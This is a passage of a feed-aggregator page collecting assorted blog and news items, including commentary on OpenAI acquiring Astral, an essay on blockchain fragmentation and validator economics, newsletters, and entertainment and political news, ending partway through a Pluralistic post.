Tim Hardwick: A lawsuit brought against Apple by music streaming app Musi has been dismissed by a federal judge, after she ruled that Apple’s developer agreement gives it the right to remove any app from the App Store at any time, “with or without cause.” […] Musi claimed it complied with YouTube’s terms, but Apple […]

@Dave Winer's linkblog

Someone Needs to Tell Trump the Truth About the War.

@Miguel de Icaza Mastondon feed

RE: https://piaille.fr/@nholzschuch/116256978172936487

Woohooo!!!!!

@Dave Winer's linkblog

Trump might end the war by resigning.

Introducing our Public Roadmaps

At Thunderbird, we firmly believe in the strength of listening to our community’s needs and wants, and balancing it with our resources and capabilities. While this has always been part of our ethos, we want to start 2026 by making our goals easier to read and comprehend at roadmaps.thunderbird.net, where you will find our roadmaps […]

The post Introducing our Public Roadmaps appeared first on The Thunderbird Blog.

@Dave Winer's linkblog

Bluesky announces $100M Series B after CEO transition.

Get Ready for March 28, No Kings!

And Please Share this Video

@Dave Winer's linkblog

Everyone but Trump Understands What He’s Done.

A Letter to the American People

A plea into the abyss, by someone trying to love this thing we call America.

This library’s annual lock-in is an autodidact’s dream come true.

For the past ten years, the Brooklyn Public Library has played host to a highly niche adult sleepover: the Night in the Library. The annual festival amounts to a series of free public teach-ins, typically gathered around a theme. Last

GNOME 50 debuts with X11 axed, Wayland front and center

Most Ubuntu desktop users will be looking at this until at least 2028

GNOME 50 is here, codenamed Tokyo after the location of the GNOME Asia Summit 2025, and the biggest change is in fact more or less invisible, unless you look for an options button on the login screen.

★ AppleScript: ‘Save MarsEdit Document to Text File’

When something in your workflow is bugging you, you should figure out a way to address it. Why I didn’t write (and share) this script years ago is a mystery for the ages.

Thoughts on OpenAI acquiring Astral and uv/ruff/ty

The big news this morning: Astral to join OpenAI (on the Astral blog) and OpenAI to acquire Astral (the OpenAI announcement). Astral are the company behind uv, ruff, and ty - three increasingly load-bearing open source projects in the Python ecosystem. I have thoughts!

The official line from OpenAI and Astral

The Astral team will become part of the Codex team at OpenAI.

Charlie Marsh has this to say:

Open source is at the heart of that impact and the heart of that story; it sits at the center of everything we do. In line with our philosophy and OpenAI's own announcement, OpenAI will continue supporting our open source tools after the deal closes. We'll keep building in the open, alongside our community -- and for the broader Python ecosystem -- just as we have from the start. [...]

After joining the Codex team, we'll continue building our open source tools, explore ways they can work more seamlessly with Codex, and expand our reach to think more broadly about the future of software development.

OpenAI's message has a slightly different focus (highlights mine):

As part of our developer-first philosophy, after closing OpenAI plans to support Astral’s open source products. By bringing Astral’s tooling and engineering expertise to OpenAI, we will accelerate our work on Codex and expand what AI can do across the software development lifecycle.

This is a slightly confusing message. The Codex CLI is a Rust application, and Astral have some of the best Rust engineers in the industry - BurntSushi alone ( Rust regex, ripgrep, jiff) may be worth the price of acquisition!

So is this about the talent or about the product? I expect both, but I know from past experience that a product+talent acquisition can turn into a talent-only acquisition later on.

uv is the big one

Of Astral's projects the most impactful is uv. If you're not familiar with it, uv is by far the most convincing solution to Python's environment management problems, best illustrated by this classic XKCD:

Switch from python to uv run and most of these problems go away. I've been using it extensively for the past couple of years and it's become an essential part of my workflow.

I'm not alone in this. According to PyPI Stats uv was downloaded more than 126 million times last month! Since its release in February 2024 - just two years ago - it's become one of the most popular tools for running Python code.

Ruff and ty

Astral's two other big projects are ruff - a Python linter and formatter - and ty - a fast Python type checker.

These are popular tools that provide a great developer experience but they aren't load-bearing in the same way that uv is.

They do however resonate well with coding agent tools like Codex - giving an agent access to fast linting and type checking tools can help improve the quality of the code they generate.

I'm not convinced that integrating them into the coding agent itself as opposed to telling it when to run them will make a meaningful difference, but I may just not be imaginative enough here.

What of pyx?

Ever since uv started to gain traction the Python community has been worrying about the strategic risk of a single VC-backed company owning a key piece of Python infrastructure. I wrote about one of those conversations in detail back in September 2024.

The conversation back then focused on what Astral's business plan could be, which started to take form in August 2025 when they announced pyx, their private PyPI-style package registry for organizations.

I'm less convinced that pyx makes sense within OpenAI, and it's notably absent from both the Astral and OpenAI announcement posts.

Competitive dynamics

An interesting aspect of this deal is how it might impact the competition between Anthropic and OpenAI.

Both companies spent most of 2025 focused on improving the coding ability of their models, resulting in the November 2025 inflection point when coding agents went from often-useful to almost-indispensable tools for software development.

The competition between Anthropic's Claude Code and OpenAI's Codex is fierce. Those $200/month subscriptions add up to billions of dollars a year in revenue, for companies that very much need that money.

Anthropic acquired the Bun JavaScript runtime in December 2025, an acquisition that looks somewhat similar in shape to Astral.

Bun was already a core component of Claude Code and that acquisition looked to mainly be about ensuring that a crucial dependency stayed actively maintained. Claude Code's performance has increased significantly since then thanks to the efforts of Bun's Jarred Sumner.

One bad version of this deal would be if OpenAI start using their ownership of uv as leverage in their competition with Anthropic.

Astral's quiet series A and B

One detail that caught my eye from Astral's announcement, in the section thanking the team, investors, and community:

Second, to our investors, especially Casey Aylward from Accel, who led our Seed and Series A, and Jennifer Li from Andreessen Horowitz, who led our Series B. As a first-time, technical, solo founder, you showed far more belief in me than I ever showed in myself, and I will never forget that.

As far as I can tell neither the Series A nor the Series B were previously announced - I've only been able to find coverage of the original seed round from April 2023.

Those investors presumably now get to exchange their stake in Astral for a piece of OpenAI. I wonder how much influence they had on Astral's decision to sell.

Forking as a credible exit?

Armin Ronacher built Rye, which was later taken over by Astral and effectively merged with uv. In August 2024 he wrote about the risk involved in a VC-backed company owning a key piece of open source infrastructure and said the following (highlight mine):

However having seen the code and what uv is doing, even in the worst possible future this is a very forkable and maintainable thing. I believe that even in case Astral shuts down or were to do something incredibly dodgy licensing wise, the community would be better off than before uv existed.

Astral's own Douglas Creager emphasized this angle on Hacker News today:

All I can say is that right now, we're committed to maintaining our open-source tools with the same level of effort, care, and attention to detail as before. That does not change with this acquisition. No one can guarantee how motives, incentives, and decisions might change years down the line. But that's why we bake optionality into it with the tools being permissively licensed. That makes the worst-case scenarios have the shape of "fork and move on", and not "software disappears forever".

I like and trust the Astral team and I'm optimistic that their projects will be well-maintained in their new home.

OpenAI don't yet have much of a track record with respect to acquiring and maintaining open source projects. They've been on a bit of an acquisition spree over the past three months though, snapping up Promptfoo and OpenClaw (sort-of, they hired creator Peter Steinberger and are spinning OpenClaw off to a foundation), plus closed source LaTeX platform Crixet (now Prism).

If things do go south for uv and the other Astral projects we'll get to see how credible the forking exit strategy turns out to be.

Tags: python, ai, rust, openai, ruff, uv, astral, charlie-marsh, coding-agents, codex-cli, ty

Cookie Consent Management in 2026, Part 2: Technical Tips

Testing cookies consent compliance proved more difficult than I expected. Here are some tips and tricks I learned while conducting a cookie compliance audit.

@Miguel de Icaza Mastondon feed

Trump was not counting on Iran’s powerful thoughts and prayers when he said we had “destroyed 100% of Iran’s Military Capability”

Iran’s powerful thoughts and prayers just hit an f35 that wandered and the oil refinery in Haifa, Occupied Palestine.

Philosophy And Buildings

Writing of lasting value

Hoppers: Operación castor — el consuelo de la empatía

Dirección: Daniel Chong.  Guion: Jesse Andrews.  Elenco vocal: Piper Curda, Bobby Moynihan, Jon Hamm, Kathy Najimy, Dave Franco.  País: Estados Unidos.  Más información de la película: https://www.imdb.com/title/tt26443616/  Las historias que imaginan la relación entre los humanos y el resto de las especies suelen oscilar entre dos impulsos narrativos. Por un lado, la advertencia: el relato que observa el deterioro de los ecosistemas como una consecuencia inevitable de la expansión humana. Por otro, la […]

La entrada Hoppers: Operación castor — el consuelo de la empatía se publicó primero en Palomita de maíz.

The War Must End Now

Trump has had his fun. The cost of the war has become far too great, and it must end now.

It’s a good time for CEOs

For most of my career I have fought on one side or the other in the eternal battle between unreasonable CEOs and reasonable CTOs. It’s always the same story: CEOs without a big tech background always coming up with ideas, CTOs trying to stem the flow, doing their best to manage expectations and deliver reasonably … Continue reading "It’s a good time for CEOs"

@Dave Winer's Scripting News

Thinking about linkblogging, my blogroll software doesn't do it correctly. When you click on the link to a linkblogged link, you must go to the place the linkblog entry points to, not the linkblog itself. I know that sounds confusing, but here's an example. It's obvious we can skip the stop and go right to the thing they were pointing to. It's awkward in the code because the RSS 2.0 item-level link element is doing double duty. I think I should add a source:linkblogLink element. I also think it's a good time to start discussing this among devs. There's some very nice fertile ground here and an opportunity to work with each other.

@Dave Winer's linkblog

The Outcast podcatcher now supports transcripts.

Metastablecoin Fragmentation

A fundamental problem for decentralized systems like permissionless blockchains is that their security depends upon the cost of an attack being greater than the potential reward from it. Various techniques are used to impose these costs, generally either Proof-of-Work (PoW) or Proof-of-Stake (PoS). These costs have implications for the economics (or tokenomics) of such systems, for example that their security is linear in cost, whereas centralized systems can use techniques such as encryption to achieve security exponential in cost.

Shin Figure 3 Now, via Toby Nangle's Stablecoin = Fracturedcoin we find Tokenomics and blockchain fragmentation by Hyun Song Shin, whose basic point is that these costs must be borne by the users of the system. For cryptocurrencies, this means through either or both transaction fees or inflation of the currency. The tradeoff between cost and security means that there is a market for competing blockchains making different tradeoffs. In practice we see a vast number ofcompeting blockchains:

Tether’s USDT sits on 107 different ledgers. ... USDC sits on 125.

The chart shows Ethereum losing market share against competing blockchains.

Shin's analysis uses game theory to explain why this fragmentation is an inevitable result of tokenomics. Below the fold I go into the background and the details of Shin's explanation.

Background

In 2018's Cryptocurrencies Have Limits I discussed Eric Budish's The Economic Limits Of Bitcoin And The Blockchain, an important analysis of the economics of two kinds of "51% attack" on Bitcoin and other cryptocurrencies based on PoW blockchains. Among other things, Budish shows that, for safety, the value of transactions in a block must be low relative to the fees in the block plus the reward for mining the block.

In 2019's The Economics Of Bitcoin Transactions I discussed Raphael Auer's Beyond the doomsday economics of “proof-of-work” in cryptocurrencies, in which Auer shows that:

proof-of-work can only achieve payment security if mining income is high, but the transaction market cannot generate an adequate level of income. ... the economic design of the transaction market fails to generate high enough fees.

Source Bitcoin's costs are defrayed almost entirely by inflating the currency, as shown in this chart of the last year's income for miners. Notice that the fees are barely visible.

It has been known for at least a decade that Bitcoin's plan to phase out the inflation of the currency was problematic. In 2024's Fee-Only Bitcoin I wrote:

In 2016 Arvind Narayanan's group at Princeton published a related instability in Carlsten et al's On the instability of bitcoin without the block reward. Narayanan summarized the paper in a blog post:

Our key insight is that with only transaction fees, the variance of the miner reward is very high due to the randomness of the block arrival time, and it becomes attractive to fork a “wealthy” block to “steal” the rewards therein.

So Bitcoin's security depends upon the "price" rising enough to counteract the four-yearly halvings of the block reward. In that post I made a thought-experiment:

As I write the average fee per transaction is $3.21 while the average cost (reward plus fee) is $65.72, so transactions are 95% subsidized by inflating the currency. Over time, miners reap about 1.5% of the transaction volume. The miners' daily income is around $30M, below average. This is about 2.5E-5 of BTC's "market cap".

Lets assume, optimistically, that this below average daily fraction of the "market cap" is sufficient to deter attacks and examine what might happen in 2036 after 3 more halvings. The block reward will be 0.39BTC. Lets work in 2024 dollars and assume that the BTC "price" exceeds inflation by 3.5%, so in 12 years BTC will be around $98.2K.

To maintain deterrence miners' daily income will need to be about $50M, Each day there will be about 144 blocks generating 56.16BTC or about $5.5M, which is 11% of the required miners' income. Instead of 5% of the income, fees will need to cover 89% of it. The daily fees will need to be $44.5M. Bitcoin's blockchain averages around 500K transactions/day, so the average transaction fee will need to be around $90, or around 30 times the current fee.

Average fee/transaction Bitcoin users set the fee they pay for their transaction. In effect they are bidding in a blind auction for the limited supply of transaction slots. Miners are motivated to include high-fee transactions in their next block. If there were an infinite supply of transactions slots miners' fee income would be zero. In practice, much of the timethe supply of slots exceeds demand and fees are low. At times when everyone wants to transact, such as when the "price" crashes, the average fee spikes enormously.

There was thus a need for a consensus mechanism that did not depend upon inflation. In 2020's Economic Limits Of Proof-of-Stake Blockchains I discussed a post entitled More (or less) economic limits of the blockchain by Joshua Gans and Neil Gandal in which they summarize their paper with the same title. The importance of this paper is that it extends the economic analysis of Budish to PoS blockchains. Their abstract reads:

Cryptocurrencies such as Bitcoin rely on a ‘proof of work’ scheme to allow nodes in the network to ‘agree’ to append a block of transactions to the blockchain, but this scheme requires real resources (a cost) from the node. This column examines an alternative consensus mechanism in the form of proof-of-stake protocols. It finds that an economically sustainable network will involve the same cost, regardless of whether it is proof of work or proof of stake. It also suggests that permissioned networks will not be able to economise on costs relative to permissionless networks.

Source In 2022 Ethereum switched from Proof-of-Work to Proof-of-Stake, reducing its energy consumption by around 99%. This chart shows that, like Bitcoin, until the "Merge" the costs were largely defrayed by inflating the currency. After the "Merge" the blockchain has been running on transaction fees.

Shin's Analysis

Here is a summary of Shin's analysis.

Notation

• There is a continuum of validators i.

• For validator i ∈ [0;1], the cost of contributing to governance is ci > 0.

• The blockchain needs at least a fraction k̂ of the validators  contributing to be secure. Shin writes:

  There are two special cases of note: k̂ = 1 (unanimity, corresponding to full decentralisation where every validator must participate for the blockchain to function) and k̂ = 0 which corresponds to full centralisation, where one validator has authority to update the ledger.

  k̂ = 1 is impractical,lacking fault tolerance. k̂ = 0 is much more practical, it is the traditional trusted intermediary.

• If the blockchain is secure, each contributing validator earns a reward p > 0. A non-contributing validator earns zero.

• The validators share a common cost threshold c*. If ci < c*, validator i contributes, if ci > c* validator i does not.

Argument

Each validator will want to contribute only if at least k̂ - 1 other validators contribute, which poses a coordination problem. The case of particular interest is the validator with ci = c*. Shin writes:

Intuitively, even though the marginal validator may have very precise information about the common cost c*, the validator faces irreducible uncertainty about how many other validators will choose to contribute. It is this strategic uncertainty — uncertainty about others' actions — that is the central feature of the coordination problem.

This "strategic uncertainty" is similar to the attacker's uncertainty about other peers' actions that is at the heart of the defenses of the LOCKSS system in our 2003 paper Preserving peer replicas by rate-limited sampled voting.

Shin Figure 6 Because the marginal validator's ci = c*, the decision whether or not to contribute makes no difference. Sin's Figure 6 explains this graphically. Rectangle A is the loss if k < k̂ and rectangle B is the gain if k > k̂. Setting them equal gives:

c*k̂ = ( p - c*)(1 - k̂)

which simplifies to:

c* = p(1 - k̂)

Shin and Morris earlier showed that this is the unique equilibrium no matter what strategy the validators use.

Result

What this means is that successful validation depends upon the reward p being large enough so that:

p ≥ _c_1 − κ̂

Shin writes:

Note that the required reward p explodes as k̂ → 1. This is the central result of the paper: the more decentralised the blockchain (the higher the supermajority threshold), the higher must be the rents that accrue to validators. In the limiting case of unanimity ( k̂ = 1), no finite reward can sustain the coordination equilibrium.

Shin Figure 1 This yet another result showing that a reasonably secure blockchain is unreasonably expensive. The complication is that, much of the time, transactions are cheap because the demand for them is low. Thus most of the time validators are not earning enough for the risks they run. But:

When many users want to transact at the same time, they bid against each other for limited block space, and fees spike — much as taxi fares surge during rush hour. Figure 1 shows how Ethereum gas fees exhibited sharp spikes during periods of network congestion, such as during surges in decentralised finance (DeFi) activity or spikes in the minting of non-fungible tokens (NFTs). These spikes are not merely a reáection of excess demand; they are the mechanism through which the blockchain extracts the rents needed to sustain validator coordination.

Note that these spikes mean that the majority of the time fees are low but the majority of transactions face high fees. It is this "user experience" that drives the fragmentation that Shin describes:

When demand for block space is high, fees rise and validators are well compensated. But high fees deter users, especially those making small or routine transactions. These users are the first to migrate to competing blockchains that offer lower fees — blockchains that can offer lower fees precisely because they have lower coordination thresholds (and hence less security). The users who remain on the more secure blockchain are those with the highest willingness to pay: institutions, large DeFi protocols, and transactions where security and censorship resistance are paramount. This sorting of users across blockchains is the essence of fragmentation.

Shin notes that:

The fragmentation argument is the flipside of blockchain's "scalability trilemma," as described by Vitalik Buterin, who posed the problem as the impossibility of attaining, simultaneously, a ledger that is decentralised, secure, and scalable.

Source It is worth noting that Buterin's trilemma is a version for PoS of the trilemma Markus K Brunnermeier and Joseph Abadi introduced for PoW in 2018's The economics of blockchains. See The Blockchain Trilemma for details.

Shin's focus is primarily on the effects of fragmentation on stablecoins. He notes that:

Rather than converging on a single platform, stablecoin activity is scattered across many chains (Figure 4). As of late 2025, Ethereum held the majority of total stablecoin supply but was facing competition from Tron and Solana, each of which had attracted tens of billions of dollars in stablecoin balances. Each chain serves different geographies and use cases: Ethereum for institutional settlement, Tron for low-cost remittances, Solana for retail payments and DeFi activity.

This fragmentation among blockchains would not matter much if stablecoins were interoperable between them, but they are confined to the blockchain on which they were minted:

A USDC token on Ethereum is not the same as a USDC token on Solana — they exist on separate ledgers that have no native way of communicating with each other. Transferring between chains requires the use of bridges: specialised software protocols that lock tokens on one chain and issue equivalent tokens on another. These bridges introduce additional risks, including vulnerabilities in the smart contract code — bridge exploits have accounted for billions of dollars in cumulative losses — and they impose costs and delays that undermine the seamless transferability that is the hallmark of money. The result is a landscape in which stablecoins from the same issuer exist in multiple, non-fungible forms across different blockchains, fragmenting liquidity and undercutting the network effects that should be the strength of a widely adopted payment instrument.

Discussion

As I've been pointing out since 2014, very powerful economic forces mean that Decentralized Systems Aren't. So the users paying for the more expensive transactions because they believe in decentralization aren't getting what they pay for.

Source As I wrote in 2024's It Was Ten Years Ago Today:

The insight applies to Proof Of Stake networks at two levels:

• Block production: over the last month almost half of all blocks have been produced by beaverbuild.

• Staking: Yueqi Yang noted that:

  Coinbase Global Inc. is already the second-largest validator ... controlling about 14% of staked Ether. The top provider, Lido, controls 31.7% of the staked tokens,

  That is 45.7% of the total staked controlled by the top two.

Source In addition all these networks lack software diversity. For example, as I write the top two Ethereum consensus clients have nearly 70% market share, and the top two execution clients have 82% market share.

Shin writes as if more decentralization equals more security even though it doesn't happen in practice, but this isn't really a problem. What the users paying the higher fees want is more security, and they are probably getting because they are paying higher fees. As I discussed in Sabotaging Bitcoin, the reason major blockchains like Bitcoin and Ethereum don't get attacked is not because the (short-term) rewards for an attack are less than the cost. It is rather that everyone capable of mounting an attack is making so much money that:

those who could kill the golden goose don't want to.

Shin Figure 3 In any case what matters for Shin's analysis isn't that the users actually get more security for higher fees, but that they believe they do. Like so much in the cryptocurrency world, what matters is gaslighting. But what the chart showing Ethereum losing market share shows is that security is not a concern for a typical user.

A Newsletter of Humorous Writing #435

For March 11-17, 2026

Hello and welcome to A Newsletter of Humorous Writing, a roundup of the week's finest short humor pieces and funny articles, and a celebration of the fantastic writers who wrote them. Did you see that there was a meteor over Ohio on Tuesday? As confirmed by a bunch of observers and the perfectly named government website fireballs.ndc.nasa.gov, something 6 feet across and weighing 7 tons broke up 30 miles up in the sky. The problem we’re having is that “a meteor over Ohio” sounds like a song lyric, but we’re not exactly sure which musician’s it would be.

What We Enjoyed This Week

The Little Bunny from Goodnight Moon Accepts an Award by DC Pierson (McSweeney’s) An extremely simple and satisfying premise juxtaposing two distinct tones. DC nails both the voice of the performatively appreciative celebrity and the kids book specifics, and the combinations are great: "And thanks to the Great Green Room for giving our little ensemble a place to work, to play, to be."

I Brought Your Child an Oversized Lollipop Because I Hate You by Eddie Small (McSweeney’s) Speaking of children, Eddie has been writing some great parenting pieces in the last few years, and this is another inventive premise about living with kids. What makes this piece—and many of Eddie's previous ones—work so well, is that it is grounded in specifics ("the next four to six days" or "Jimmy Eat World CDs") but also widens the aperture enough to frame the premise as a general experience.

If Only We Had Medicine Like That Today by Elizander Espenschied (HAD) James here: I've been working on a longer piece of writing, and reading a lot of plays to get a better feel for dialogue.1 So this piece, though it's not our typical humor fare, really jumped out at me. I'm impressed by Elizander’s formal choices, and how they focus the reader's attention on pacing and the spoken rhythms of language. A good reminder that you can do whatever you want with your writing—we're constrained so often in other parts of our lives, why not have some fun on the page?

-- AD --

Hosted by Lana Schwartz (The New Yorker, The Onion, McSweeney's) Letters & Sodas brings together standup comedy, humor pieces, fiction, and essay readings in a way they never have been before (or at least not in recent memory). The next show is Wednesday, March 25 at Greats of Craft in LIC at 7 p.m. and features:

Rob Patrick (Answer to the Previous Puzzle)

Madeline Goetz (Reductress, The Boston Globe, McSweeney's)

Talia Argondezzi (author of Lean the Fuck Out, The New Yorker, The Belladonna)

Elle Gonzalez Rose (author of Marisol Acts the Part and I Didn't Do It)

Meredith Dietz (New York Comedy Fest, SF Sketchfest, Wait, Wait...Don't Tell Me)

Dan Yang (HBO, NBC, New York Comedy Club roast battle)

Karolena Theresa (You Hurt My Feelings, #1 Happy Family USA)

Tickets here!

---

(Do you have an ad you'd like to place in the Newsletter? Fill out this form! )

An Old Favorite

This week's Old Favorite is a Brian Agler Selection (TM)--a piece whose accompanying note was written by Brian--from Newsletter #27 . As is starting to become tradition, we're resharing this one in anticipation of opening day next week.

New Baseball Stats by Ezra Deutsch-Feldman (McSweeney's) Today is MLB Opening Day, so it's only appropriate that we feature a baseball piece in the newsletter. We love this piece because it is--to borrow a baseball phrase--right down the middle. Super-clean premise. Tight jokes. Even if you aren't a fan of advanced statistics or even a fan of baseball in general, this piece still works.

Do you have an Old Favorite of your own? Let us know by filling out this form and we may run your pick in a future edition of the newsletter.

Updates From Your Hosts and Friends of the Show

Luke’s got just a few spots left in his advanced short humor workshop starting next Wednesday afternoon! This is the last workshop he has starting this month that still has open spots in it, so if you don’t want to wait ‘til May to take a class, snag a spot now.

And this is just something fun, but The City’s newsletter alerted us to this odd little NYC mnemonic. Pretty handy!

1 Send me recommendations of plays that you like!

Early-bird tickets for UX London

You should come to UX London in the first week of June. Why? Because it’s going to be awesome, that’s why!

You probably knew that already. You probably already decided to get a ticket because you’re smart like that.

But don’t dilly-dally! Early-bird tickets are available now but in just over one week, they won’t be.

So get your ticket by Friday, March 27th. If you get your ticket now, it’s a win for everyone. You get a cheaper ticket. We know for sure that you’re coming.

Every time someone buys a conference ticket in plenty of time, the conference organiser sleeps a little better at night.

If you need to convince your boss, you can give them these reasons to attend. I even made an email template you can use a starting point for making the case.

You could come for all three days of UX London, or you can pick just one day.

Tuesday, June 2nd is discovery day with a focus on user research. You’ll hear from great speakers like Melin Edomwonyi and Maria Isachenko as well as getting workshops from Natasha den Dekker and Feyikemi Akinwolemiwa.

Wednesday, June 3rd is design day where it’s all about the nitty-gritty details. Not only will there be great talks from Andrea Grigsby, Julia Petretta, and Hidde de Vries, there’s going to be the best-named workshop ever from my colleague Chris How: Yippee IA!

Thursday, June 4th is delivery with a focus on design systems and collaboration. Alex Edwards, Lucy Blackwell, Rachel Ilan Simpson and Ben Callahan will all be giving talks (and Ben’s doing a workshop too).

That’s not even close to the final line-up. I’m confirming more speakers right now and getting very, very excited about how it’s all shaping up.

You know you don’t want to miss this one. So get your early-bird ticket now while you still can.

@Dave Winer's Scripting News

I wanted to change the URL for the source namespace in the RSS 2.0 feed for my blog, from http to https. I thought this might be a nice warmup project. Started at 9AM and it's now 10:45AM and it might work now. Let's see. Nope. Thought of something I didn't do. Let's see. Yes! We win, sorta. Bing?

Caltech Weekly - March 19: Student Engineering Competition; Information from Exhaled Breath

Caltech Weekly - March 19: Student Engineering Competition; Information from Exhaled BreathView this email in your browser

Thursday, March 19, 2026

Climbing to the Top: Inside Caltech's 41st Annual ME 72 Student Engineering Competition

Student-designed remote-controlled robots competed in a fast-paced engineering challenge to climb a pyramid, collect pellets, and outscore rivals during Caltech's annual ME 72 competition.

Extracting More Information from Exhaled Breath

Exhaled breath can provide a treasure trove of health information, offering a noninvasive window to both respiratory microenvironments and systemic physiological states. But collecting such data is a challenge.

Engineering Tiny 3D Metallic Parts

A new multistep process that begins with 3D patterning of hydrogels yields surprisingly strong metal pieces with nanoscale dimensions and complex shapes.

Anima Anandkumar Appointed to UN Scientific Advisory Board

The group brings together distinguished researchers from around the globe to advise United Nations leaders on breakthroughs in science and technology.

"The genuine scientific curiosity that goes into making observations and understanding the world around you is something that certainly applies to the role of an astronaut as well as being able to conduct experiments and analyze the data. A lot of great science is being done on the space station right now, so, hopefully, I'll be able to draw on some of that experience."

Alumna Lauren Edgar (PhD '13) has been selected by NASA as one of 10 new astronaut candidates following a competitive selection process involving more than 8,000 applicants from across the United States. Edgar and her colleagues will now complete nearly two years of training before becoming eligible for flight assignments supporting future science and exploration missions to low Earth orbit, the Moon, and Mars.

This Week's Other Top Stories

How Two Dim Stars Came Together to Shine Brightly

A Catalyst for Critical Thinking

Caltech Mourns the Passing of Planetary Scientist Yuk Yung

In Case You Missed It

View recent lectures and events on Caltech's YouTube channel.

A Mile Apart, A Century Together

As part of Founders' Day 2026, Huntington President Karen R. Lawrence and Caltech President Thomas F. Rosenbaum discussed the shared history of the two institutions and the role of science and the humanities in a rapidly changing world.

Did You Know?

NASA's SPARCS cube satellite, launched in January, is ready to begin studying low-mass stars and to reveal details about the habitability of the planets they host. The satellite used by this JPL-led mission is roughly the size of a cereal box. Calech manages JPL for NASA. The Caltech Athletics Hall of Honor website celebrates and commemorates the rich history of intercollegiate athletics at the Institute, featuring videos of past induction ceremonies, bios of past honorees, and more.BlueskyCaltech.eduFacebookInstagramLinkedInXYouTubeConnect with CaltechThe Caltech Weekly is published by the Office of Communications and External Relations. Copyright ©2026 All rights reserved. Send feedback and story ideas for the newsletter to theweekly@caltech.edu.

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@Dave Winer's Scripting News

I talked with a friend who makes a feed reader app, suggesting how to hook up to a linkblogging tool. Thought I would share the instructions to everyone. I'd love to see more people using software to do linkblogs, rather than do them by hand. Then we could build systems for distributing them. This is how we create markets, by getting more people automating their work, and thus we are able to connect components together. So if you make a feed reader, how about hooking up with linkblogging tools?

Before Waging War, Consult Historians First

The post Before Waging War, Consult Historians First appeared first on NOEMA.

Night Train Media Exits Stakes In ‘Chess Masters’ Maker Curve, BossaNova Media & Eccho Rights

EXCLUSIVE: Herbert L. Kloiber’s Night Train Media has sold its stakes in Curve Media, BossaNova Media and Eccho Rights to Germany’s Serafin Group, we can reveal. Serafin is now the main shareholder in the three European businesses, whose leaders now report into managers at the Munich-based company. Serafin has installed its own exec, Christoph Auer, […]

@Pleiades STOA at hcommons.socal

Export Updates 2026-03-19:

Pleiades gazetteer of ancient places

1 new and 51 updated places.

1. Downloads: https://pleiades.stoa.org/downloads

2. pleiades.datasets: https://github.com/isawnyu/pleiades.datasets:

"main" branch:

2204d201 - updated json

no change: rdf/ttl

5a790c11 - updated gis package

720f5493 - updated data quality

12c71293 - updated bibliography

b93820a5 - updated indexes

733c901c - updated sidebar

3. pleiades-geojson: https://github.com/ryanfb/pleiades-geojson:

1a36493f - updated geojson and names index

4. pleiades_wikidata: https://github.com/isawnyu/pleiades_wikidata/:

81a76567 - updated pleiades wikidata

‘Good Trip’, ‘The Sea Speaks His Name’ Win WIP Awards At Close Of Hong Kong Asia Film Financing Forum

Good Trip, directed by Hong Kong filmmakers Norris Wong and Wong Hoi, and The Sea Speaks His Name, from Indonesia’s Yosep Anggi Noen, were presented with the Works-in Progress (WIP) Awards at the close of this year’s Hong Kong Asia Film Financing Forum (HAF, March 17-19).  Produced by Mabel Cheung, Good Trip is the story […]

‘Wild Horse Nine’ Trailer: Martin McDonagh Sends His CIA Guys Off To Easter Island

Searchlight Pictures on Thursday rolled out the trailer for Wild Horse Nine, the new film written and directed by Martin McDonagh. It marks his first feature film since The Banshees of Inisherin, which was nominated for nine Oscars in 2023 including for directing, writing and Best Picture. Set just before the 1973 Chilean coup, Wild […]

‘Mister Rogers’ Neighborhood’ Getting YouTube Channel For First Time

EXCLUSIVE: Fred Rogers’ unique brand of compassionate kids TV is coming to YouTube. Fred Rogers Productions and Little Dot Studios have teamed to bring Mister Rogers’ Neighborhood to a dedicated YouTube channel – the first time the iconic children’s TV series has taken the route. As part of the agreement, All3Media-owned Little Dot’s team in […]

@Dave Winer's linkblog

Google co-founder spends $45m in fight against California billionaire tax.

Here’s the shortlist for the 2026 Dylan Thomas Prize.

Today, the finalists for the Swansea University Dylan Thomas Prize, which aims to encourage “raw creative talent worldwide,” were announced. The prize, which is worth £20,000, is open to works of fiction, poetry, and drama published in English by a

How The Paramount-Warner Deal Could Hit Netflix’s Kids Content Offering

Netflix narrowly missed out on buying Warner Bros. Discovery (WBD) and now new data has shone a light on the impact this could have on its kids content offering. The latest Netflix Kids Content Performance Report, which compiles top-performing children’s shows on the streamer over the latter half of 2025, found that nearly one third […]

Kenya Barris Named Vice Chair Of Revolt Labs

Kenya Barris is joining Revolt. The Black-ish creator has been named Vice Chair of Revolt Labs, a new initiative designed around helping creators turn their ideas into television and film projects. It comes a year after Offscript Worldwide rolled Revolt TV into a single entity alongside its music management division, creator arm and brand marketing […]

Fox, Sipur & Fulwell Teaming On Timely Documentary About Iranian Judo Star Who Risked Everything To Compete Against Israeli Rival: “In A Time Of War, Our Story Shows That Sports Can Bridge Divides”

An American, Israeli and British creative team is coming together to forge a timely doc about an Iranian judo star who defied government orders and risked everything to compete against an Israeli rival. Fox Entertainment Studios, Israel’s Sipur and The Kardashians maker Fulwell Entertainment are behind Blood Brothers, the latest doc from Emmy-winning We Will […]

This land is our land — not Trump’s

We’re nine days away from the largest protest in American history.

Pluralistic: Love of corporate bullshit is correlated with bad judgment (19 Mar 2026)

Today's links Love of corporate bullshit is correlated with bad judgment: Synergizing the strategic inflection points on the global data network. Hey look at this: Delights to delectate. Object permanence: Bluetooth headsets; Fruit sticker decoder; iPod batteries v DRM; Bruces's SXSW keynote; Piracy isn't funding terrorism; Hope v optimism; Identical twin time-travel prank; Prisoners draw corporate crooks; Spanish junkbots; Sheriff's rape-kit denial; Non-dorky magic; Poetic bureaucrat mourns wolf; SXSW v MPAA; "Burning Days"; NYT paywall; Police rap-battle warning; Unions de-risk labor; "Murder the Truth" Upcoming appearances: Where to find me. Recent appearances: Where I've been. Latest books: You keep readin' em, I'll keep writin' 'em. Upcoming books: Like I said, I'll keep writin' 'em. Colophon: All the rest. Love of corporate bullshit is correlated with bad judgment (permalink) I'm a writer, so of course I care about words! But I'm a writer, so I also think that words are improved by their malleability, duality and nuance. This is one of the things I love about being a native English speaker – this glorious mongrel language of ours is full of extremely weird words, like "cleave," which means its own opposite ("to join together" and "to cut apart"). English is full of these words that mean their own opposite, from "dust" to "oversight" to "weather": https://www.mentalfloss.com/language/words/25-words-are-their-own-opposites This is what you get when you let a language run wild, with meaning determined (and contested) by speakers. Not for nothing, my second language is Yiddish, another glorious higgeldy-piggeldy of a tongue with no authoritative oversight and innumerable dialects. Semantic drift is a feature, not a bug. It's how we get new words, and new meanings for old words. I love semantic drift! I mean, I'd 